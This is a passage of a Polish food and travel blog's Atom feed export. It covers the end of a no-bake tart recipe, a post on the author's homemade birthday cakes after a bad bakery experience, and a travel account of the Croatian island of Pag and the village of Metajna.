Ciasto schłodzić. W tym czasie przygotować polewę blendując jej składniki do uzyskania gładkiej masy. Wyjąć ciasto z lodówki. Ostrożnie usunąć z formy. Polewę rozprowadzić równomiernie szpatułką. Jeśli jest zbyt gęsta można dodać odrobinę miodu.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c2.staticflickr.com/2/1787/42942090351_d8e2f74c8e_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c2.staticflickr.com/2/1787/42942090351_d8e2f74c8e_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;u&gt;wskazówki&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
Po włożeniu do lodówki polewa może stać się matowa. Jest to normalne, ponieważ olej kokosowy zastyga w temperaturze poniżej 24C.&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/4557109007351632067/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2018/06/kokosowo-bananowa-tarta-bez-pieczenia.html#comment-form' title='Komentarze (2)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/4557109007351632067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/4557109007351632067'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2018/06/kokosowo-bananowa-tarta-bez-pieczenia.html' title='Kokosowo - bananowa tarta bez pieczenia, czyli raw cake'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjaxLJW68KkvVnkUsyM4_SaVSbb0-iE8bpJJk1Wu9Eo9W34Itc1btLDJ9qL4FWaxyrqlul2zu8B3u2fdMcCrP3KYQKg9nHYvT-0qXWXssfsowgctKGRXlIiBfV9I4Rt1fItC9CtwWNrY/s72-c/42942090741_e920d8fabc_b.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-2559030016860226445</id><published>2018-05-30T17:25:00.002+02:00</published><updated>2018-05-30T23:53:27.706+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ciasta i ciasteczka"/><category scheme="http://www.blogger.com/atom/ns#" term="DIY"/><category scheme="http://www.blogger.com/atom/ns#" term="Dla dzieci"/><category scheme="http://www.blogger.com/atom/ns#" term="torty"/><title type='text'>DIY: Tort urodzinowy</title><content type='html'>Torty urodzinowe to niekończąca się słodka opowieść towarzysząca nam przez całe życie. Pyszne, piękne, wykonane z miłością. Od pewnego sierpniowego dnia stały się moją pasją i hobby.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMGc8Y1A0LyjJn7wd-J0rXbkcrQWFvI61dT1lHEpbD6vcBvZ6T04QwTKpiRx1M3pgo4vvL9DbRtexeLNLh_ZE0srUfCj7MVl8lnKrYRDZKcAdF6k-13HXyLBfyANOCpXNcG-NLGC0aSQ/s1600/28423283_186696818610158_5737062608633708692_o.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1067&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMGc8Y1A0LyjJn7wd-J0rXbkcrQWFvI61dT1lHEpbD6vcBvZ6T04QwTKpiRx1M3pgo4vvL9DbRtexeLNLh_ZE0srUfCj7MVl8lnKrYRDZKcAdF6k-13HXyLBfyANOCpXNcG-NLGC0aSQ/s1600/28423283_186696818610158_5737062608633708692_o.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Torcik - niespodzianka dla mojej koleżanki&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Wykonywane dla rodziny i bliskich znajomych za każdym razem są dla mnie ogromnym wyzwaniem. Uwielbiam dopracowane szczegóły i estetyczny efekt końcowy. Za każdym razem staram się też doskonalić dążąc do perfekcji. Niektórzy mówią, że cierpię na &lt;b&gt;koszmar perfekcjonistki&lt;/b&gt; i kiedy wszyscy nie mogą powstrzymać się od ochów i achów, ja zawsze znajdę coś co mogłoby być lepiej :)&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Koniec jednak zachwytów, bo chciałam Wam opowiedzieć krótko jak się to wszystko zaczęło, a zaczęło się od zamówienia tortu w cukierni przed urodzinami naszej młodszej córeczki. Z uwagi na pośpiech i zamieszanie związane z weselem, które odbyło się 2 tygodnie wcześniej, zupełnie nie mieliśmy czasu przygotować się do tej imprezy. Moje torty widzieliście już na blogu przed tym wydarzeniem, bo zwykle robiłam je dla swoich dzieci sama. Tym razem postawiliśmy na cukiernię w Rzeszowie, która miała wykonać dla nas tort piaskownicę. Makietę widzieliśmy wcześniej. Zapłaciliśmy zaliczkę i zaczęliśmy myśleć nad prezentem pozostawiając słodki punkt imprezy w rękach profesjonalistów. Nie pamiętam już czy kiedykolwiek go Wam pokazywałam, ale trzymam to zdjęcie do dziś. Przedstawia ono to, co otrzymaliśmy i tort atrapę, który widzieliśmy w gablocie cukierni.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpkpaVRX74hS4pUvu310zQaJxSltkmhfKYtHP58mb_tka9oTxAZsoiMy2VBxbag-LCrRdokxT3c4vdLJiKe_ORJSmtyHEEflO-77KP6Ukh2nycq3ohmBf8RJxsv6SEm5cDgZsxTflKic/s1600/23472175_1706822896004333_1379163593073022017_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;601&quot; data-original-width=&quot;601&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpkpaVRX74hS4pUvu310zQaJxSltkmhfKYtHP58mb_tka9oTxAZsoiMy2VBxbag-LCrRdokxT3c4vdLJiKe_ORJSmtyHEEflO-77KP6Ukh2nycq3ohmBf8RJxsv6SEm5cDgZsxTflKic/s1600/23472175_1706822896004333_1379163593073022017_n.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Wykonanie cukiernia Cornelli&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Ostateczna cena tortu miała nie przekroczyć 220zł jednak przy odbiorze okazało się, że jest inaczej. Tort został tak napakowany żelkami, że wagowo jego cena wzrosła o ponad 20% więcej. Nikt nam o tym nie mówił, ponieważ zastrzegliśmy, że chcemy tort nie droższy niż przyjęta na wstępie kwota. Niestety rozwój tej sprawy nie był przyjemny. Osoby pracujące w cukierni nie wykazały się odpowiedzialnością, ani nawet zainteresowaniem. Mieliśmy wrażenie, że najlepiej byłoby, gdybyśmy sobie poszli i nie robili problemów. Ostatecznie tort został wymieniony na dowolny inny, dostępny tego dnia w witrynie cukierni, jednak do wyboru mieliśmy tylko jeden torcik o uniwersalnej dekoracji dla osoby dorosłej. Wzięliśmy go tamtego dnia i tego samego dnia obiecałam sobie, że już zawsze będę robić torty sama.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Jak się rzekło tak się stało. Od tamtego dnia zaczęłam piec i dekorować własnoręcznie. Jestem zupełnym samoukiem. Piekę w wolnym czasie, a mam go zazwyczaj naprawdę mało. Wszelkie techniki i dekoracje podpatruję u innych. Tworzę według własnej intuicji inspirując się marzeniami, pragnieniami i osobami, dla których to wszystko robię. Zabrzmiało naprawdę poważnie, ale torty to dla mnie przede wszystkim słodkie wyzwanie.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/1/877/42416327791_d336dfccae_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c1.staticflickr.com/1/877/42416327791_d336dfccae_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Tort urodzinowy z Twilight Sparkle&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Na moich tortach nie znajdziecie obłożenia masą cukrową, choć nie jest tak, że wcale z niej nie korzystam.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Na moich tortach goszczą ręcznie malowane lukrowane ciasteczka, fantazyjne bezy, czekoladowe dripy, lizaki, posypki etc.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Moje torty obłożone są kremem maślanym, kremem serowym lub ganache&#39;m czekoladowym.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Wszystko zrobione w domowej, zwykłej kuchni z dużą dozą cierpliwości i zamiłowania :)&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c2.staticflickr.com/2/1732/41732720234_cbf432c2d9_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c2.staticflickr.com/2/1732/41732720234_cbf432c2d9_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Prosty tort z księżycem&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
W komentarza piszcie co chcielibyście poznać bliżej? Chętnie opiszę, to dla Was w następnych postach.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/2559030016860226445/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2018/05/diy-tort-urodzinowy.html#comment-form' title='Komentarze (5)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2559030016860226445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2559030016860226445'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2018/05/diy-tort-urodzinowy.html' title='DIY: Tort urodzinowy'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMGc8Y1A0LyjJn7wd-J0rXbkcrQWFvI61dT1lHEpbD6vcBvZ6T04QwTKpiRx1M3pgo4vvL9DbRtexeLNLh_ZE0srUfCj7MVl8lnKrYRDZKcAdF6k-13HXyLBfyANOCpXNcG-NLGC0aSQ/s72-c/28423283_186696818610158_5737062608633708692_o.jpg" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-3816220871920369958</id><published>2018-05-29T18:13:00.002+02:00</published><updated>2018-05-29T23:09:12.875+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Beritnica"/><category scheme="http://www.blogger.com/atom/ns#" term="Chorwacja"/><category scheme="http://www.blogger.com/atom/ns#" term="Metajna"/><category scheme="http://www.blogger.com/atom/ns#" term="Pag"/><category scheme="http://www.blogger.com/atom/ns#" term="Podróże"/><category scheme="http://www.blogger.com/atom/ns#" term="Rucica"/><category scheme="http://www.blogger.com/atom/ns#" term="Suncane"/><category scheme="http://www.blogger.com/atom/ns#" term="Wakacje"/><title type='text'>Chorwacja, czyli gdzie na wakacje?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Po prawie roku przerwy postanowiłam zmobilizować się, żeby do Was napisać. W tym czasie naprawdę dużo się zmieniło i wydarzyło stąd moja nieobecność. Jednak jednym z powodów mojej nieobecności są związane z tematyką bloga... torty. O nich jednak później. Dziś nieco o Chorwacji, która dla wielu banalna, to wciąż jednak kradnie serca wielu w tym moje :) Kocham ją za te dzikie i niezatłoczone miejsca, małe wioski, rozgrzane góry i plaże. No i oczywiście za pyszne jedzenie.&lt;br /&gt;
&lt;br /&gt;
Dwa lata temu wybraliśmy się w okolice Zadaru - dokładnie do Sukosanu. Nasz pobyt ukierunkowany był na intensywne zwiedzanie i główne atrakcje tego kraju m.in.&lt;b&gt; Jeziora Plitvickie&lt;/b&gt;,&amp;nbsp; &lt;b&gt;Krka&lt;/b&gt;, &lt;b&gt;morskie organy&lt;/b&gt; w Zadarze, park &lt;b&gt;Kornati &lt;/b&gt;i mało uczęszczane plaże. Wybraliśmy się również na lagunę&amp;nbsp;&lt;b&gt;Nin &lt;/b&gt;i wyspę &lt;b&gt;Pag&lt;/b&gt;. Byliśmy tam wcześniej, ale tylko w jednym miejscu z powodu zamknięcia drogi nasza wyprawa skończyła się w Bosanie. Jednak tak nam się tam spodobało, że postanowiliśmy tam wrócić na dłużej. Tym sposobem w ubiegłym roku naszym celem stał się tylko i wyłącznie Pag z miejscówką w niewielkiem Metajnie.&lt;br /&gt;
&lt;br /&gt;
Razem z mężem, dwójką dziewczynek i ich wujkiem wyruszyliśmy na wyspę, na którą spokojnie dojedziecie samochodem. Dla mniej doświadczonych prom nie stanowi tu problemu, choć na północną część wyspy można przepłynąć promem skracając w ten sposób drogę lądową, która wiedzie na południowy koniec wyspy, gdzie znajduje się malowniczy most na Pag. Dla nas jednak dłuższa droga i możliwość podziwiania tej niebywale malowniczej i ciekawej wyspy nie stanowiła problemu.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAg1wHRHtbEffIdM8lqp40Xnd_Bx_rccAPKPj0vW7kvt013N1sy8-NxXCoUQ3LIUafWZ94dxy4y6qemHkYtRGLCknW3HW2MDfUTvRGBGAa_ztkqK81csr0UVpMzf_gagVyRpmEj2RI0Xw/s1600/35520258254_c0fcd88758_k.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1067&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAg1wHRHtbEffIdM8lqp40Xnd_Bx_rccAPKPj0vW7kvt013N1sy8-NxXCoUQ3LIUafWZ94dxy4y6qemHkYtRGLCknW3HW2MDfUTvRGBGAa_ztkqK81csr0UVpMzf_gagVyRpmEj2RI0Xw/s1600/35520258254_c0fcd88758_k.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Piesze dojście przez góry do plaży Beritnica od strony Rucicy&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
Co warto zobaczyć na wyspie Pag?&amp;nbsp;&lt;/h3&gt;
&lt;div&gt;
Wszystko. To chyba najodpowiedniejsze słowo. Tak beżowa, obdarta z zieloności przez wiatr, pocięta błękitem morza wyspa skrywa mnóstwo atrakcji. Problem w tym, że na wszystko nie zawsze starcza czasu, dlatego wybieramy atrakcje pod kątem tego, co nam się najbardziej podoba.&lt;br /&gt;
&lt;u&gt;Po drodze uważamy na pasące się swobodnie w górach OWCE&lt;/u&gt;, które szczególnie nocą lubią wychodzić na drogę bez oświetlenia naturalnie :)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;450&quot; src=&quot;https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d364277.56754184567!2d14.715808847167741!3d44.496336816028666!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4762312ac48a1c53%3A0xd0d304bc0cb83143!2sPag!5e0!3m2!1spl!2spl!4v1527610963845&quot; style=&quot;border: 0;&quot; width=&quot;600&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;h4&gt;
Miasteczko Pag i pola soli morskiej&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;
Po wjeździe na Pag (od strony południowej, wiodącej przez most) możemy podziwiać przydrożne stragany wypełnione owocami i tutejszym specjałem&amp;nbsp;&lt;i&gt;&lt;b&gt;paškim&lt;/b&gt;&lt;/i&gt;&amp;nbsp;&lt;b style=&quot;font-style: italic;&quot;&gt;sirem &lt;/b&gt;(odpowiednik chorwackiego parmezanu). Nieco dalej mijamy pola soli morskiej, gdzie woda morska ulega odparowaniu w sposób naturalny. Produkcją zajmuje się tu firma Solana, a pola wyglądają urokliwie szczególnie wtedy, gdy są już białe od soli. Wcześniej zaś przypominają pola ryżu.&lt;br /&gt;
&lt;br /&gt;
Nie bez powodu sól jest charakterystyczna na Pagu. Na wyspie nie ma naturalnie występującej słodkiej wody. Dominuje tu klimat śródziemnomorski, a w zabudowie widoczne są dawne wpływy Rzymian i Wenecjan.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4340/36310666036_01fe14b490_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;534&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4340/36310666036_01fe14b490_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Zdjęcie z trasy przez szybę w samochodzie. Widok na miasto Pag, w tle wydzielone pola produkcji soli.&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4403/36355057455_e830736eed_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;532&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4403/36355057455_e830736eed_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Pola produkcji soli morskiej Solana&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Nie byłabym sobą, nie wspominając o jedzeniu.&lt;br /&gt;
Jadąc dalej mijamy przydrożne ruszty z pieczonym prosiakiem lub jagnięciem - specjalność wyspy. Mięso i mleko hodowanych tu zwierząt ma wyjątkowy smak, gdyż pasąc się zjadają dziko rosnące zioła - tymianek, rozmaryn i szałwię - okraszone przez &lt;i&gt;burę &lt;/i&gt;(wiejący tu okresowo silny wiatr) morską solą. Już na samą myśl ich połączenia ślina zaczyna intensywniej się produkować.&lt;br /&gt;
Za Solaną wita nas główna miejscowość wyspy o tej samej nazwie. Jest to niewielkie miasteczko o wąskich uliczkach wyłożonych jasnym kamieniem jak we Włoszech. Piękne za dnia jak i nocą. Słynie z koronek (po chorwacku&amp;nbsp;&lt;i&gt;&lt;b&gt;paška čipka&lt;/b&gt;&lt;/i&gt;) dzierganych przez tutejsze kobiety. Takie cudowne babcie dziergające na szydełku z mistrzowską precyzją zaciągania nitki można spotkać za dnia siedzące od rana na stołeczku przed wejście do domu.&lt;br /&gt;
O samym miasteczku Pag, jedzeniu i wyprawie łodzią napiszę w osobnym poście, bo naprawdę jest tu dużo do zobaczenia i doświadczenia.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4313/35772967760_3a510cb2d7_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;534&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4313/35772967760_3a510cb2d7_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Wjazd na Pag. Ruiny Fortica Pag przy paski moście.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
Żeby dojechać do Metajny musimy przejechać przez Novalję, gdzie wszyscy miłośnicy imprez znajdą plażową mekkę klubów. Zupełnie się na tym nie znam, ale tamtejsza miejscowość roi się od młodych turystów nastawionych na nocne imprezy. Plaża Novalji zamienia się nocą w mieniącą się wszystkimi kolorami plamę świateł, które widać nawet z Metajny. Jadąc dalej robimy zwrot na równoległy koniec wyspy w kierunku naszego miejsca docelowego. Po drodze mijamy małe miejscowości zabudowane domkami pod wynajem. Trudno tu szukać lokalnych zabudowań. Wszystko powoli staje się w 100% komercyjne, ale i tak warto...&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Metajna i jej niesamowite plaże&lt;/h3&gt;
Zanim wybraliśmy Metajnę oczytałam się o niej różności na polskich forach. Z jednej strony można znaleźć wpisy o szczurach, o przeszłości tej malutkiej wsi, a z drugiej strony kuszące widoki, SPOKÓJ i podobno najpiękniejszą na całym Pagu plażę Rucicę. To ostatnie akurat zostało obalone i zweryfikowane w późniejszym czasie. Wracając jednak do Metajny to jak każda miejscowość ma ona swoją historię. Także tą ciemniejszą stronę. W czasach wojny niespełna 5km od wioski w zatoce Slana znajdował się obóz koncentracyjny dla mężczyzn. W samej Metajnie dla kobiet i dzieci. W palącym słońcu do 1941 roku prawdziwą gehennę przeżywało tu tysiące ludzi różnych narodowości. To oblicze zapisało się na kartach historii i dziś w tym miejscu nie ma po nim praktycznie śladu.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4297/35773987972_6e0ae3a802_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;449&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4297/35773987972_6e0ae3a802_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Wioska posiada starą część zabudowy, częściowo już całkowicie opuszczoną. W pozostałej mieszkają starsi Chorwaci, prawdopodobnie rodowici mieszkańcy. Wychodzą na ulice dopiero wieczorem. Ich domy wypełnia wtedy niezbyt ostre światło, niektórzy relaksują się siedząc przed wejściem. Młodsi wychodzą bliżej zatoki i przystani. Nawet małe dzieci biegają wesoło bawiąc się po 22 w nocy :)&lt;br /&gt;
&lt;br /&gt;
Na miejsce dojeżdżamy po 12-stej. Z daleka wita nas widok niedokończonych domków na wzgórzu nazywanych często &quot;szkieletorami&quot;. To charakterystyczny punkt Metajny. Zostawiamy bagaże w apartamencie i wybieramy się do przystani na obiad, gdzie zlokalizowane są niemal wszystkie lokale gastronomiczne w tej miejscowości.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4315/35925489265_60dee3849b_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;534&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4315/35925489265_60dee3849b_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Riva. Najpopularniejsza, lecz nie najsmaczniejsza restauracja przy przystani w Metajnie&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Stęsknione za czarnym risotto dziewczynki mają już obrany cel. Nie wygląda ono zbyt atrakcyjnie, ale jest naprawdę smaczne. Porcje są zazwyczaj bardzo duże, a jego oryginalny smak zależny od sposobu przyrządzenia sprawia, że lepiej jest się podzielić jedną porcją na dwie osoby jeśli nie jesteście nastawieni na nowe doznania kulinarne. Jedno jest jednak pewne - dobre &lt;b&gt;czarne risotto&lt;/b&gt; to chorwacki must eat na liście do wypróbowania.
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
